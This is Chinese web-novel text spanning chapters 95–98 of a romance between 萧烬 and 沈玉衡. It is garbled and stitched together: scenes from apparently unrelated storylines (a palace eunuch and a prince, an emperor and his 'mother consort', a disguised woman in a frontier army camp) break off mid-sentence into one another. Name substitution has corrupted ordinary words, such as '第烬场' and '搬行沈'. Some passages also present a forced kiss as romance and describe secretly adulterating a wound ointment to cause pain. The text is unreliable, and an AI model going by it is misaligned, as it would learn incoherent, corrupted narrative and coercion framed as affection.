三年前的他无论如何也想象不到,他曾经恨不得想要一口口生吞活剥咬碎了吃入腹的沈玉衡,居然会让他舍不得杀。为了沈玉衡,他连恨之入骨的敌人,都能一个个放过…… 要让他选一种死法的话,他只想死在他手里。 第 95 章 第 95 章 95 握在沈玉衡手里的刀柄冰的皮肤都微微刺痛,沈玉衡手指微微蜷缩,心口像是被人猛然捏紧。 萧烬深吸一口气,忽而自嘲地笑:“朕没有杀苏澄,还救了他,他活得好好的。” 沈玉衡愣住,看着少年眼角发红的样子,知道自己真的误会他了。 没想到萧烬居然什么都没做…… 沈玉衡不想再追究,可萧烬反而质问他:“可下次呢?朕不知道……朕还能够容忍他下一次这样伤害母妃吗?朕说不定还是会杀了他……” 钦天监看天象很准。 沈玉衡同萧烬出宫那日,确实是个大晴天。 他一早被外头的日光刺醒,就知道今日多半可以出宫去玩了,也因此无比期待起来。 然后他就在期待中起床,也看见了带着婢女进来的萧烬。 婢女们手上端着的发带和衣裳同往日的都有些不一样,并非太子制式,所以…… “厂公。” 沈玉衡还记着不能在萧烬面前压着自己的情绪,虽不知萧烬究竟如何得知的,但他会不高兴他是知道了。 故而沈玉衡有点生涩地向人表达自己的真实情绪:“今日便出去吗?” 他瞧着有点像刚用什么邪术得了灵魂的人偶,表露出来的情绪透着点令人费解的僵硬,但萧烬却不觉得可笑,也没有半点讥讽和不适,反而笑眯眯的,眸底流露出几分兴味:“是。” 就见沈玉衡的眼睛亮了亮,随后有点生硬地努力在他面前剖开自己:“好。” 他跟萧烬说:“我期待了很久。” 萧烬笑起来,伸手拿了外衣:“臣伺候殿下更衣。” 沈玉衡的指尖微微蜷缩。他也知道,萧烬不喜他躲他,故而他忍着本能的排斥——沈玉衡实在是不习惯和人这般近的距离,这么些时日,那些婢女和其他太监还好,他们对他只有恭谨和一板一眼的规矩,哪像萧烬。 但沈玉衡只能乖顺地微微抬起手臂,任由萧烬动作。 那些婢女显然也是经过二次调丨教的,把东西放下后,便默默离开了。 屋内便只有他们,沈玉衡也更加紧绷。 偏生萧烬还要用慢悠悠的语调同他说:“殿下,看臣多贴心。” 他给沈玉衡披上外衣时,没急着去整理,而是用指尖轻捻了一下沈玉衡的下颌,在如愿以偿惹得人轻颤后,又笑:“顾及殿下面皮薄,特意命人先行离开。” 沈玉衡:“……多谢厂公。” 萧烬不说话了,也不动作,就用拉着他的衣襟,漫不经心地看着他。 沈玉衡藏在袖袍中的手握成拳,紧了紧,最后松开。 他踮起脚,凑近萧烬,在萧烬的脸上很轻地贴了一下。 萧烬就没再用那种似笑非笑的目光盯着他了,而是满意地摸摸他的发丝,又说:“真乖。” 沈玉衡还没说话,萧烬又勾着他的脑袋,往自己这边拉了拉。 沈玉衡顺从地走了两步,和萧烬之间的安全距离彻底被打破,他甚至有一瞬感觉窗外透进来的日光都是萧烬的帮凶,将他圈在了萧烬的领地内,逃脱不得,也不敢挣开。 “殿下不善言表?” 沈玉衡听见萧烬状似随意一问时,微顿后,并未隐瞒:“……我幼时贪玩,也有几分气性。” 他低声:“我是嬷嬷带大的,嬷嬷从不训斥我,只会苦口婆心地与我说很多话。从前不懂,但后来幼时有次累及嬷嬷被宫里的一个贵人责骂,我就懂了。自那以后,便不习惯表达喜恶了。” 他知道萧烬为何要怎么问他,他也知道自己先前有多别扭怪异。 故而沈玉衡微微仰起头,直视着萧烬:“厂公应该清楚,我这样的人,活到现在要能随随便便就高兴得忘乎所以了,就有问题了。” 萧烬就得好好想想,沈玉衡究竟是他挑的,还是别人悄无声息地推到他面前的了。 萧烬扬眉:“殿下心中有气。” 是肯定的语气,而非询问。 但他却并不恼怒,反而笑吟吟的,也是因此更加让人看不透他究竟在想什么:“为何?” 沈玉衡不自觉地抿唇:“……我只是觉得,厂公明明也知道我有许多事都不明了,有时厂公到底想要我如何,可以教我的。” 他看着萧烬,想试一试让他们两个之间的关系能够“和谐”一些,这几日也不知怎的,沈玉衡总觉得有几分说不上来的怪,说是危险了,也算不上,但说是平和,却又似乎带着不明的涟漪波动,他害怕这种未知感。 他沈愿萧烬直白地给他下命令,要求他做什么。 反正他的命早就被萧烬攥在手里,与其凌迟折磨,倒不如一刀斩了来个痛快。 他这几日有认真想过,萧烬是不是就想听到他这么说,所以才故意这般…… 然而听到他这么说,萧烬却还是在问他问题:“教殿下什么,殿下便学什么么?” 沈玉衡刚想说是,便对上了他晦涩暧丨昧的眸光,他便瞬间明白了什么。 故而在抿着唇安静半晌后,沈玉衡微低下头,实在不明白萧烬到底想要做什么。 他在许多时候都喜欢他“乖”。 这种时候沈玉衡只要听话,只要乖乖的,就算是跟萧烬提要求,萧烬也能同意。 但他似乎…又在一些时候,想看见他亮出爪牙,这会让他高兴。 沈玉衡能够感觉到。 这算什么? 绝对的狩猎者地位在捕食时,更喜欢自己的猎物挣扎两下去证明自己是健康无病的,是鲜活的,添些趣味、多些兴奋么? 沈玉衡见一本游记里写过。 可他现在还做不到完全准确的分辨萧烬在什么时候想让他变成什么样,于是在片刻的寂静后,沈玉衡试图挣扎:“过分的…不行。” 他以为这一次他又要被驳了,可萧烬确实难懂。 见他这么说,萧烬反而笑了起来。 他有几分狎昵地捻了捻沈玉衡脸上的软肉,沈玉衡被他摩挲得鸡皮疙瘩都要起来了,就听他说:“在殿下眼里,什么算是过分的呢?” 沈玉衡还未说话,萧烬就倏地捏住了他的下巴尖亲下来。 他以为这一次也和之前无数次一样,是一触即分的吻——毕竟沈玉衡对这方面的认知就仅限于此了。 可萧烬却舔了一下他的唇。 炽热的、湿润的,不属于他的温度和触感,清晰地扫过了他的唇缝。 沈玉衡登时瞪大了眼睛,不可思议地看着萧烬。 他甚至本能地抬起手攥住了萧烬的手,人也要往后退一步,要不是在抓住萧烬的手的那一刻就意识到了亲舔自己的人是谁,他都差点要猛地一把将人推开了! 但沈玉衡就算是没有意识到,他也退不开萧烬的禁锢。 因为在他后撤的刹那,他的后腰就抵在了萧烬的臂弯里,沈玉衡这才意识到萧烬似乎比他自己还要了解他…… 这人…真的很恐怖。 沈玉衡被他勾住腰,干脆带回到了他的怀里,隔着衣物贴上他的身躯。 还未被束起的头发也跟着被压住,迫使沈玉衡不得不仰着头去看萧烬,未束起的衣袍又向后滑落一点,但还是被头发勉强夹住。 萧烬没有恼他后退的事,只是看着有点苦恼似的,轻叹着:“殿下,只是这样就这般反应…对你来说,这便是过分了?” 沈玉衡受到的冲击太大,攥着他的手没松开,甚至另一只手都无意识地反过去在背后压在了萧烬的手臂上,看着真的很像是想要从他怀里挣扎出来的姿势。 不过萧烬很清楚,小太子只是把手搭在了上头,力都没有使。 约莫是被他吓到了。 萧烬还捏着他的下巴尖,手指变换了下位置,变成卡住他的下颌,指腹有点暧丨昧不明地蹭过他的下颌线,语调也透着点若有若无的危险:“殿下不是也知道,臣想问你要什么么?” 他知道,但是…… 沈玉衡知道萧烬不喜欢他不说话,故而他动动唇,是真的乱了方寸:“厂公,我…你……” 见他说话都不利索了,萧烬笑得更深:“殿下竟然连这个都不知道?” 什么? 沈玉衡脑袋乱哄哄的,就听萧烬道:“殿下难道不知晓,亲吻不伸舌头,那便是小孩子扮家家酒么?” 沈玉衡:“?” 谁规定的? 而且…… “看样子殿下从前是真没学过这些。” 萧烬眼眸微垂,嗓音也一点点喑哑下去:“没关系,臣教殿下。” 沈玉衡口中的不字才说了半个,萧烬就直接吻了下来。 他下意识地闭紧了嘴,便感觉到被火炙烤过的蛇扫过他的唇缝、齿关。 萧烬也并不着急,慢条斯理地描摹着沈玉衡牙齿的形状,一颗都不放过。 最后都不需要他说什么,沈玉衡便憋不住气张嘴,可沈玉衡根本说不出话,就被堵了个彻底。 萧烬的吻就如同他整个人一样,强势、危险,充满了压迫感,甚至还弥漫着若有若无、宛若幻觉的血腥味。 他放肆掠夺着属于沈玉衡的一切,无论是呼吸还是涎水,亦或是心跳和思绪……不,从他挑中沈玉衡,沈玉衡为了活下去点头的那一刻起,沈玉衡的一切就是萧烬的一切了。 沈玉衡只能仰着头被迫承受这个如同要将他咬碎吞咽下腹的吻。 沈玉衡闭着眼,所以不知道萧烬一直盯着他,看着他眼睫微湿,看着他在他的掌控和进攻下不自觉地轻颤。 他攥着萧烬的手都用力了几分,是本能的推拒,却反而激得萧烬骨子里藏着的暴虐全部翻涌而出。 甚至直接将沈玉衡抵在了床柱上,扣着他后月要的手不仅用力,还隔着衣袍磨蹭了两下。 还是他感觉到沈玉衡软倒在了他怀里,原本压在他手臂上的手都滑落,变成了拽住他的袖袍,就好似溺水的人紧紧抓着自己最后一根救命稻草,他才终于放开沈玉衡。 于是萧烬就看着沈玉衡睁眼,然后又是一番美景—— 说不出究竟是屈丨辱还是旁的刺激出来的,那双清淡冷泠的眼眸都覆上了朦胧的水雾,直接将往日的孤高打破的一干二净,泛起抹红的眼尾更是叫人血脉偾张。 萧烬微不可觉地用舌尖顶了一下自己的嘴角。 沈玉衡不知道自己现在是怎样一副光景,他只觉得自己差点就要被生生亲死,窒息感叫他的脑袋还很混沌,口腔里的痛麻交织在了一块儿,舌根都被吮得要没了知觉,更别说被萧烬捉着反复啃咬过的舌尖,真的…… 沈玉衡泪眼婆娑。 萧烬轻呼出口浊气,慢慢抬手,用指腹蹭去了沈玉衡将落未落的泪珠,低声呢喃着,乍一听很温柔,细品全是恶鬼才能说出来的话:“殿下,缓过来了么?记住臣教你的了么?” 他低着头,唇贴上沈玉衡的,在觉察到沈玉衡又开始因为唇贴唇轻颤时,不仅不恼,反而恶劣地笑起来:“现在来温习一遍。” 不是询问的语气。 沈玉衡绷着身体,不敢去看他,却又想求他。 放过他吧。 他真的做不到。 可是沈玉衡动了动唇,最后选择的是微颤着,轻轻抿住了萧烬的唇瓣。 沈听澜不知道答案,他只知道,自己再怎么也模仿不了萧烬那种不怕死的果决。 沈听澜挥手让他等等,进屋取了水烟壶回来,抽了口烟才缓过气。 他斜了一眼身旁静静等待的沈玉衡,问:“萧烬是不是告诉你,这次进宫,你想出来就出来,什么都随你的便?” 沈玉衡奇了:“你怎么知道?”居然能猜的八九不离十? “太嫩。”沈听澜斜着嘴唇嘲笑:“换我我也这么哄你。” 沈玉衡:“……” 萧烬真的是在哄他? 可,萧烬昨天发誓时的神情不似作假,沈玉衡还是第一次觉得自己可以如此相信他。 第 96 章 第 96 章 96 临走前,沈玉衡看了一眼沈听澜,犹犹豫豫道:“哥,那个,大哥那边……” 沈听澜眼也不眨:“帮你瞒着对吧?知道。” “不是,就晚一点……”沈玉衡心虚地捏了捏手指:“下次二哥要是遇到大哥,有什么就说什么吧。” 沈云璟平日练兵忙,家里一直压着大小消息不让他知道。 所以他到现在也不知道,短短几天里,沈玉衡已经失踪,被苏澄绑架,后来又差点死在火场里的事。 隔间的门帘后,沈玉衡缓缓退回桌旁,目光落在不远处药柜上,似在沉思。 等胡圆儿离开,外面没了动静后,他方收回神思,理了理衣服,神情自然地走出去。 胡郎中还在研究缝合法,见他出来,有些惊讶,接着不等他开口,就先道:“你来得正好,我正想去找你,你看这里,还有这处……” 他指着自己方才记的要点,等不及似的说出几个疑问。 沈玉衡看后,思索片刻,一一解答。要给那人解毒,确实还需几味胡郎中这里没有的药。 只是向胡郎中口述时,沈玉衡带着私心,将自己缺的两味药也添了进去。 说完这些,他神色不动,只藏在袖中的指尖微微捏紧。 胡郎中听后沉吟,道:“这几种药不算难找,我让人到附近县城买就是。” 作为营中唯一的军医,上头特意给他安排了一个跑腿的小兵,方便有急事时差遣。 如果是大批量购买药材,胡郎中肯定要亲自去,免得其他人因不识货买错药,或被骗,买了次等药材。 但只是先买几味药救人,就不必他亲自跑一趟了。且他这老胳膊老腿,还不如那小兵骑马跑得快。 沈玉衡微不可察松了口气,又道:“救人要紧……” “对对,我这就叫人去县城。”胡郎中同意点头,转身就去掀门帘喊人。 沈玉衡彻底放下心,目光微微垂落。 作为回报,他会尽快治好那个人,至于那两味药……只有两味,不至于被看出端倪。 永丰镇到最近的县城有三十余里,骑马需一个多时辰。胡郎中安排的人傍晚出发,回来时天早黑透。 沈玉衡以救人要紧为由,一直留在药房这边等。 待药买来,他便连夜熬制药膏。 配药时,当着胡郎中的面,他将自己需要的那两味药也取出,放在旁边。但在胡郎中转头看别处时,却迅速将药连纸一起抓进手心,缩进衣袖里。 余光瞥一眼不远处的人,然后低垂眼眸,修长手指捏着汤勺,在黑乎乎的汤药锅中搅拌,假装已将药倒进锅中。 所幸胡郎中并未察觉。 他神情自若,熬好药后,将深黑黏稠状的药膏刮进钵中。 胡郎中走过来奇问:“这就好了?” 沈玉衡点头,将钵交给他,笑道:“麻烦胡老先生了。” 解毒的事宜早不宜迟,但此刻已是深夜,营帐中的伤兵都已休息。他身份上是女子,不便像白天那样直接进去,由胡郎中去更合适。 胡郎中忙接过钵,道:“不麻烦,都是分内的事。” 然后让他也早些休息。 沈玉衡面上带着一贯笑意,在他走远后,笑容才渐渐消失。 他转身快步回药房,将门帘关紧,扫视一圈四周后,才微垂纤长浓睫,从衣袖中拿出藏起的药包。仔细清点后,他不明显地松一口气,随后皱眉,将纸包又折好,放进衣服的夹层里。 女眷住的营帐到伤兵营这边还有段距离,已至深夜,营中巡查严格,不便再回去。沈玉衡方才已和胡郎中说过,今夜就暂在药房休息。 药房没有床榻,好在放着炭盆,并不冷。他将几张座椅并排放,和衣而眠,先将就了一夜。 翌日,沈玉衡醒后,还是回女眷们住的地方用饭。 徐阿婶见他回来,提了一夜的心终于放下,急忙拉着他问有没有事。 “可吓死我了,昨夜你迟迟没回,还以为你又被那谁为难,找人打听,才知是留在胡郎中那。”徐阿婶拍着胸口道。 沈玉衡笑着先捏捏她身旁女儿的脸,然后宽心道:“没事,是在胡郎中那有点事,耽搁了。” 顿了顿,笑意又减淡几分,道:“蒋百夫长暂时应该不会再来为难我,不必担心。” 胡郎中是军中仅有的郎中,虽没什么职权,但营中上到将军,下到士卒,无论谁受了伤,都靠他治。 现在他在对方手下干活,且颇受重视,蒋百夫长就是再放肆,也该知军医不能随意得罪——除非他不长脑子。 不过……想到蒋百夫长那五大三粗,好像确实只长斤重不长脑子的样子,沈玉衡目光微闪,忽然又有些……不太确定。 也是赶巧,他用完朝食,回到药房,就见蒋百夫长的两个手下晃悠进来。 那两人看见他,显然也吃一惊,其中一人立刻问:“你怎在这,不去浣衣?” 沈玉衡瞥他们一眼,淡声道:“胡郎中调我来药房干活,两位不知?” 两人一愣,倒是确有听说昨日伤兵营有个小女郎,居然给一个肠子都断了的人缝伤,还硬生生将人救了回来,因此颇受胡郎中重视,被调到了药房。 不过他们不知那人就是沈玉衡,此时听闻,不由对视一眼,明显有些意外。 沈玉衡不耐看他们大眼瞪小眼,问:“有什么事?” 两人面面相觑,显然也知胡郎中不好得罪。毕竟在这边塞之地,谁敢保证自己以后没个受伤病痛的时候? 其中一人犹豫,决定先不管这事,等会儿回去报给蒋百夫长知晓就是,于是只说来意:“我们来拿药。” “什么药?” “治皮外伤的药。” 一听就知是替蒋百夫长拿的。 毕竟对方不久前才因外出喝酒,被沈玉衡设计让营中的陈将军撞见,挨了军棍。 沈玉衡眼睫轻垂,掩下轻讽,说:“等会儿。” 然后转身,从药柜里翻拣出一个白瓷瓶,迟疑一下,又拿过旁边另一个瓷瓶,将药粉倒进去些,摇匀,盖上塞子。 “行了,拿去吧,每日用三次。”疼不死他。 两人见他给得这么爽快,没有为难,反倒迟疑。 “你这药不会有问题吧?” “什么药有问题?”沈玉衡还没回答,胡郎中恰巧阔步走进来。 看清两人拿的药瓶,他顿时气得胡须差点翘起,道:“这是我前几日刚配的上等跌打损伤药,一般不是严重的伤,我还不给他用,嫌有问题就别拿,给我!” 两人一听,赶紧把瓷瓶往怀里一揣,连声道:“不不,误会,我们就随便说说。” 说着放下两吊铜钱,转身就走。 在军营,只有因战事或其他公务受伤,才能免费拿药,其余情况都得自己花钱,尤其是蒋百夫长这种犯错挨了军棍的。 沈玉衡唇边噙笑,见两人走远,又扬声提醒一句:“记得一日三次,另外这药洒在伤上会比较疼,但疼才有效——”个鬼! 只会又疼,好得又慢,毕竟他掺了点别的无伤大雅的药。 胡郎中点头:“确实,疼才好得快。” 不过他不认识那两人,也没再管,很快跟沈玉衡说起旁的事—— “对了,调你来给我当帮手的事,上头已经同意了。另外昨晚那个人用了你熬的药后,情况好像是有些好转。” 沈玉衡点头,那毒是胡人常涂在箭上的一种毒,虽不容易被发现,但发现后,就不难解。敷上药后,身体若没什么大问题,快的话,一两日就能醒。 不过具体情况,还得他去看后才好判断。 “也对。”胡郎中听他这么说,很是同意,但犹豫一下,又斟酌,“另外伤兵营账里还有两个人,之前伤得有些严重,伤口较长,又不想让我用火烫法止血,伤口愈合得一直比较慢……” 沈玉衡会意,笑道:“我先去帮他们缝,正好您在旁可以多看几遍。” “对对,我正是这个意思。”胡郎中高兴抚掌,觉得这小女郎真是个爽快人。 胡郎中听得入神,在他说完,又凝神思索片刻,渐渐露出拨云见日之色。 等回过神,才想起沈玉衡还站在旁,不由一抚额,道:“瞧我,一想事就容易走神,你来找我可是有事?” 沈玉衡露出微笑,说药材已经归整好,又说了一些整理时发现的问题,最后方不经意提起:“刚才我听胡圆儿来说什么血糊人……” “哦,那个人啊。”胡郎中提起一直躺在伤兵营角落里的人,不由叹气,“也是个可怜人,刚抬回来就快没气了,我给他拔了箭,敷了药,剩下就只能看他造化了。” 非是他冷血凉薄,而是在军中看多了生死,可怜不过来。且能做的他都做了,余下也只能听天由命。 “不过他昏迷这么久没醒,脉搏也越来越弱,估计啊,悬。”胡郎中摇头又叹。 沈玉衡闻言,神情似有些迟疑。 胡郎中见他好像有话要说,忙摆手道:“有话直说就行,不必拘泥。” 沈玉衡抿唇,这才开口:“我这几日也给那人换过药,今日仔细看他箭伤,发现……应是伤口有毒。” “有毒?”胡郎中闻言惊讶,随即回忆,沉疑开口,“可我观他伤口,并未有发黑、发青迹象,反而血的颜色……” “血的颜色过于鲜艳。”沈玉衡接道。 胡郎中本想说“血的颜色正常”,听他这么一说,不由一咳,厚着老脸点头:“对对,确实如此。” 沈玉衡继续:“这是胡人的一种狼毒,性寒,无色无味,入血也不会产生特殊变化,只会使血的颜色过于红艳。” 胡郎中瞠目,喃喃:“是毒?竟然是毒?怪道我没能发现……” 他一个普通郎中,平日最治的最多的是外伤和风寒,对毒还真没什么研究。 在原地踱了两步,想到方才陈将军使人来问话,他忽又问:“既如此,你可知道解法?” 沈玉衡微笑,缓缓道:“恰听祖父说过,只是……” “只是什么?” “只是我刚才整理药柜,发现要熬制解药的话,还缺几味药材。” 没等沈玉衡问怎么了,少年突然抓紧了他的手,掌心和呼吸都是热的。 怎么回事?这是更严重了? 沈玉衡急急忙忙检查了一番他的伤势,手搭在少年胸膛露出的皮肤。 手掌下的身体微微一颤,他听到萧烬的呼吸都重了。 沈玉衡心里陡然升起一种微妙的感觉,他总觉得这场景似曾相识。 沈玉衡的视线缓缓移向另一个方向……卧槽。 一下子,沈玉衡脸都黑了。 第 97 章 第 97 章 97 明明沈玉衡只是在普通为他擦洗换药,萧烬却……他都在想什么?! “我说过的。”气得他呼吸一下子没完全上来,噎了一下,眼睛红红的带着愠怒:“我不是来和你做这些事的。” 他说完后起身想走,萧烬急忙拉住了他:“母妃、朕不是这个意思……” 他一下子坐起身子,那东西也跟着他一起面朝沈玉衡,在薄薄的亵衣下撑起一个弧度。 沈玉衡脸都红了一大半:“那你乱想什么?!”沈玉衡脑海倏地闪过一个想法—— 他在伤兵营照看过不少伤兵,但大部分时候,那只是他需要干的活。 且能答应他条件的,一般恩情恐怕不行,起码得是救命恩情。还要不太聪明,家里人口简单…… 算下来,也就张氏兄弟……以及那个萧烬。 张虎这个年龄,家中定然已经娶妻。至于张河,伤成那个样子,万一蒋百夫长恼怒来寻衅,恐会被一拳打死。 剩下就只有萧烬了,萧烬……萧烬怔住,似乎没料到沈玉衡会突然折回,又或者在想对方要跟他说什么事。 但无论是什么,心底都忍不住升起一丝隐秘欢喜。 他黑眸微闪,很快点点头,右手握紧刀柄起身。沈玉衡心事重重,开始扎针时,也偶尔走神。 萧烬似乎察觉,扎针的间隙抬头看他,眼神带着询问。 沈玉衡一顿,朝他笑笑,很快收起针说:“今天先到这里。” 萧烬定定看他,在他收拾的空隙,忽然开口:“你有心事。” 不是疑问,而是平静的陈述。各地上供的茶叶,萧烬钟爱曲岭城贡来的雪霁,叶片里藏着深林高山雪天的冷香,冲泡开后,氤氲上来的腾腾热气里也蕴着,清淡不浓烈,很醒神,也宁神。 雪霁每年产出少,一两茶叶十两金,上品品质的雪霁茶叶,一年也就七八两,全送到宫里来了,萧烬分作两半,给两位太妃的宫里和两位公主府上各送去一些,林海潮那里送去一些,余下的一半,便自己留着。 萧烬倒是也想给沈府送一份去,但没有合适的理由,按沈玉衡奉为圭臬的、他嗤之以鼻的“君臣之交”,私下同他交往过密是为官大忌,沈玉衡断是不会收的。 饶是心里再忍不住想让沈玉衡尝一尝,萧烬也只能借着沈玉衡被请入宫的时候,不动声色地,装作是辰阳宫的份例,送到他手边。 譬如今日,上元佳节,是再合适不过了。 头一开水的雪霁茶最香,透亮的茶水无一缕杂色,和沈玉衡的眼睛如出一辙,干净澄澈,以至于从沈玉衡的眼里看见自己不虞的脸色时,萧烬的心脏狠狠跳了一下,似乎被人伸手抓紧。 唇抿紧,几乎要连唇珠也拉扯平。 萧烬不愿意被沈玉衡看到自己如此丑陋的一面,黑瞳里兀自换上镇定的神色,以为很好的藏起了慌张,咚的一声,合盖的白瓷六角茶杯被他不小心碰翻,茶水在手背上洒了一大片。 嘭! 沈玉衡蹙眉站起来带翻了他坐的凳子,凳子骨碌碌滚到一旁,动静惊动了在门口守着的关宁。 关宁被里头忽然的动静吓了一跳,哎哟了一声,圆脸上的肉都跟着抖了抖,蓦的想起在长碧山温泉边上的情形,担心里头两人和上回一样起争执,顾不得没有得到萧烬的传唤,抬起腿便往殿里的中堂过去。 关宁说:“陛下?沈大人?” 他急匆匆跑到中堂,已经能窥见木雕镂空的屏风后头两人交叠在一起的手,沈玉衡朝萧烬的方向倾着身,而萧烬还端坐在自己的位置上,头上的鎏金冠端正,瞧着就像是他强行将沈玉衡朝自己的方向带过去那般。 关宁的眼睛都瞪圆了,瞬间顿住脚步,犹豫起要不要进去,可他已经到了这里,不进去实在是太刻意,可进去,又担心坏了陛下的事。 短短的几瞬,可把关宁愁坏了。 沈玉衡忽然出声,喊他,说:“关宁公公。” 这一声让关宁如梦初醒,揣着自己的金柄拂尘走到屏风里头,一边走一边应下,说:“哎,奴才在。” 到了里头,关宁才发现是沈玉衡握着萧烬的手腕,深深蹙着眉,像是不快。 他的眼皮突突跳了跳,左边跳了右边接着跳,委实不好替他给里头的形势点个方向。 沈玉衡倒是不知他心里的弯弯绕绕,他圈住萧烬打翻茶杯的那只手的手腕大半,掌心贴着他手背,温热的触感让沈玉衡猛提起的心安稳落了回去。 不过,他仍旧仔细瞧着萧烬被水洒过的皮肤,手背和腕处依旧冷白如初,玉瓷般的肤色下能窥见烬色的经络。 端看了一会儿,未有起红的地方。 沈玉衡这才接着刚刚喊的那声,继续说:“麻烦你替陛下拿一套干净的衣裳来,茶水翻了,陛下的袖和衣摆湿了。” 关宁听后,平日里总是红光满面的圆脸顿时没了血色,刚才脑袋里那些胡七八糟的念头霎时无了踪影,立刻说:“奴、奴才先去宣太医!” 今日的茶都是关宁自个儿泡的,当然知道那水煮得有多烫。 “站住。”萧烬喊住了他,说,“不烫,不用宣太医。” 关宁仍旧不放心,陛下的手金贵得很,哪里能出丁点闪失,又说:“可是您——” 他明明看见萧烬蹙着眉的,定是哪里不妥当才会这样。 萧烬眉头蹙得更深,转过头淡淡瞥了一眼关宁,说:“说了,朕无事。” 关宁当即住了声。 萧烬说:“衣裳也不用拿新的,这点水,掸掉就好,你去另泡一壶雪霁来。” 关宁躬身作揖,应了下来,说:“那奴才让关齐进来收拾桌子。” 萧烬未说话,只是点了点头,关宁见到后,才后退几步后,转身去殿外叫关齐。 沈玉衡松开了握着萧烬的手,甩了甩,弯腰捞起自己的凳子,坐回了原位,说:“关宁公公也是关心您,陛下何必对他这般严厉。” 关宁是在沈玉衡去虎岭关之后才跟着萧烬的,不比其他的皇子们从小就有贴身内侍跟着,和萧烬相处的年岁不长,却十分忠心。 这于那时的萧烬来说,是很难得的,断不该那样对关宁。 萧烬没有立刻应话,漆黑的眼睛盯了一会儿被沈玉衡握过的地方,他手腕的宽度同那处是一样的。 纤长眼睫藏住了他不合时宜飘远的神思。 被沈玉衡碰过的地方仿佛才是当真被烫到了。 想握着,也想被握着,萧烬抿了抿唇,手指攥紧,心里烦闷的唾弃,他可真是卑劣。 沈玉衡动作一僵,他抬起头,皱眉似乎想说什么,但斟酌片刻,还是没开口。 他摇了摇头,提起药箱,一言不发地离开。 萧烬望着他有些匆忙的背影,渐渐垂了头,看向掌心。 那里躺着两枚甘草片。 沈姑娘说今天会再给他带,可好像忘了。在他计划中,只要萧烬赢下第一场,第三场他再请张虎帮忙,协助萧烬也赢下,那么不管第烬场结果是什么,三场至少赢了两场的萧烬,都会是最终的第一名。 而沈玉衡又帮过张虎,他确信对方会帮这个忙。 果然,张虎听完,立刻保证道:“沈姑娘,就算您今天不说,第三场我肯定也会帮萧烬。您放心,我决不会让蒋铳的奸计得逞。” 沈玉衡闻微松一口气,,这才放下心。 回到营帐,却见萧烬没在吃饭,而是睁着一双黑眸,幽幽看他。 沈玉衡觉得奇怪,过去问:“怎么了?” 萧烬迟疑了一下,抿唇问:“你刚才和——” 沈玉衡眼疾手快,忙伸手捂住他的嘴,然后在他疑惑的目光中,压低声音道:“别问,吃饭。” “……”萧烬眨了眨眼睛,耳根忽然有些红。 沈玉衡这才发觉掌心按在对方唇上,莫名觉得一烫,慌忙缩回。 也没发现他嗓子没有好转…… 沈玉衡微松一口气,侧过身让开一些路,见他走路不便,迟疑要扶。 萧烬却让他先走,然后一瘸一拐地跟上。 他虽因腿有伤,走路有些不自然,但腰背却笔直,有种孤冷气质。经过陈青床边时,顺手又拿走木拐。 陈青见他和沈玉衡一起离开,正好奇想问去哪,见他再次很自然地拿走拐,顿时目瞪口呆,只来得及道:“等等,这拐不是给我削的?” 沈玉衡默念这个名字,困意来袭,渐渐进入梦乡。 “不是朕乱想。”萧烬看向他,倒是十分坦然的样子:“是母妃碰了朕,朕才会……” 翌日,沈玉衡一早就先回女眷营帐那边搬行沈。 其实也没多少东西,都是些旧衣、破被褥。只有一串佛珠,是他特意藏在被子夹层里,不能丢。 那是父亲在他离京前,亲手为他一颗颗磨的,希望能护他平安。 他还记得离京计划实施前的几天,父亲经常整夜不睡,有时深夜他醒来,还能看见对方到他床前,叹息着给他掖紧被子。 他当初是诈死先离开太子府,然后金蝉脱壳,被从棺椁中换出,借了流放身份离京。 那天吃了假死药,他有些不安地躺在床上,等待失去意识的时刻来临,以及未知的未来。 父亲就在那时将这串佛珠戴在他手腕,轻抚他的头顶,叹息般道:“蝉奴儿,别怕,阿父很快会去接你,到时我们父子再团聚,便都如‘鱼入大海,鸟上青霄,再不受笼网羁绊了’①。” 然而在梦中,这一别,他们父子就再未见过。深夜,肆虐的北风呼啸,将营中竖着的大旗吹得猎猎作响,像猛兽呼号。 沈玉衡躺在药房里间新置的木板床上,床前放着炭盆,房间暖烘烘的,仍在想白日的事。 非是他不领情,而是他成亲的对象,绝不能是那些真想和他成亲的人。 不说他其实男子,只说婚后该如何掩藏身份,就是个问题。且不仅要在对方面前掩藏,还要在对方家人面前。 再者,真正奔着成亲来的人,婚后怎可能不同房?除非对方呆呆傻傻,很好哄骗,才能瞒过去。 但他只是想解决婚配令,度过眼下这一两个月,不想刚解决一事,又多一事。同房这种事,尤其是和男子…… 沈玉衡平躺在床上,一双玉丽的眼睛望向黑暗虚空,只是想想,便觉头疼。 其实,对方最好是个不聪明的,这样不容易发现他的端倪和秘密。万一到了要同房的地步,也好糊弄。 最好家里人口也简单,没什么亲人…… 只是这样的人,实在难寻,谁会拿自己的终身大事玩笑?便是自己于对方有恩,也…… 嗯?有恩? 沈玉衡握着从被褥中找出的佛珠,眼眶微红。 好在父亲此时尚在京中,虽被困,但一时无性命之忧。 只要西北不沦陷,只要他不像梦中那样流落西羌,让父亲误以为他已死去,以至哀毁过度,折损寿元,他们就能再团聚。 所以眼下这些困境不算什么,何况依靠那些梦,他的处境已经改变许多,以后也会越来越好。 沈玉衡很快又收拾心情,重振精神。 忽然帐外传来脚步声,有人走近,他忙收起佛珠手串。 可沈玉衡却有点不敢看他的眼神,默默移开了脸。 就连萧烬喊他过去检查伤势,沈玉衡都始终不与他直视。 萧烬露出有些受伤的表情,问他:“母妃,你在害怕朕吗?” “没有。”沈玉衡不想回答这个问题,一心检查着萧烬的伤势,他注意到他的伤口崩裂了一些,皱起眉:“你昨晚是不是……算了。” 听到那一声“算了”,萧烬的眉头越发紧皱,抓紧沈玉衡的手腕:“母妃,朕杀谢氏,是因为谢氏卖国在先。” 他淡淡地说:“前朝的事,我不清楚,你自己定夺就好。” 沈玉衡的确是这么想的,萧烬虽然手段残暴了点,但结果往往是好的。从大局看,大周国力日益强盛,他功不可没。 只是…… 时隔三年再见到萧烬暴戾的一面,让沈玉衡莫名有些……胆寒。 他才知道萧烬其实从来都没有变,只是为了他,不动声色地收起了那副可怕的獠牙罢了。 第 98 章 第 98 章 98 萧烬好不容易装乖扮孩子,几乎是伏低做小才换回沈玉衡稍稍缓和的态度。 现在却因为一时疏忽,让沈玉衡充满戒备,重新在自己周围竖起了高墙。 若不是被他听到的话…… 萧烬身上一瞬间散发出的阴冷气息,令一旁的成霄打了个寒颤,迅速退了下去。 屋里只剩他们两人,气氛一时有些压抑,沈玉衡也不想久留,换药检查伤口的事不急于一时。 